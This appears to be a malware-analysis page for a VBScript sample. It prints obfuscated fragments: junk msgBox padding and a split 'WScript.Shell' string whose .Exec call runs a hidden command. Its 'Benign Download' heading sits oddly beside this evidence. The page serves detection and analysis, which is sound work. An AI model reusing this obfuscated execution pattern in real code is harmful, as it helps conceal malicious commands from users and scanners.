Benign Download

586c63eb98616eea867d7fb2cfdb4a630978ded46836891e7d4df998c92e25ab.unknown

Script is filled with message-box calls.Exec method call
SHA-256586c63eb98616eea867d7fb2cfdb4a630978ded46836891e7d4df998c92e25ab
MaleculeO(Er)

Evidence

Script is filled with message-box calls line 1
1if fU5helP336MiPd9DYZ496<>fU5helP336MiPd9DYZ496 then: msgBox("ua4Ss8Qb301ODhD73QyGxiFwZo702") end if:kdNYDyL556 = KWm3rw7pq8XE506(55,99,88):if ih8mFTRPmNC6wn182MiPd9DYZ496<>ih8mFTRPmNC6wn182MiPd9DYZ496 then: msgBox("dOuhuNGY4nqUSw897XgsUuDkLNn750") end …
VBScript Function declaration line 1
1:1112… n: msgBox("fU5helP336dOuhuNGY4nqUSw897") end if:function Q8C4pAAb459(oJr1xIX789, vhczGwt744, NU2Xwm619):XgsUuDkLNn750 = "hel":if KWm3rw7pq8XE506D1gURdb75<>KWm3rw7pq …
.Exec method call line 1
1:3209… n: msgBox("KWm3rw7pq8XE506QyGxiFwZo702") end if:CreateObject("Wscr"+fU5helP336+"pt.sh"+MiPd9DYZ496+"ll").Exec(GvAeLSK260):if D1gURdb75D1gURdb75<>D1gURdb75D1gURdb75 then: msgBox("MiPd9DYZ496QyGxiFwZo702") end if:end function :if QyGxiFwZo7 …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.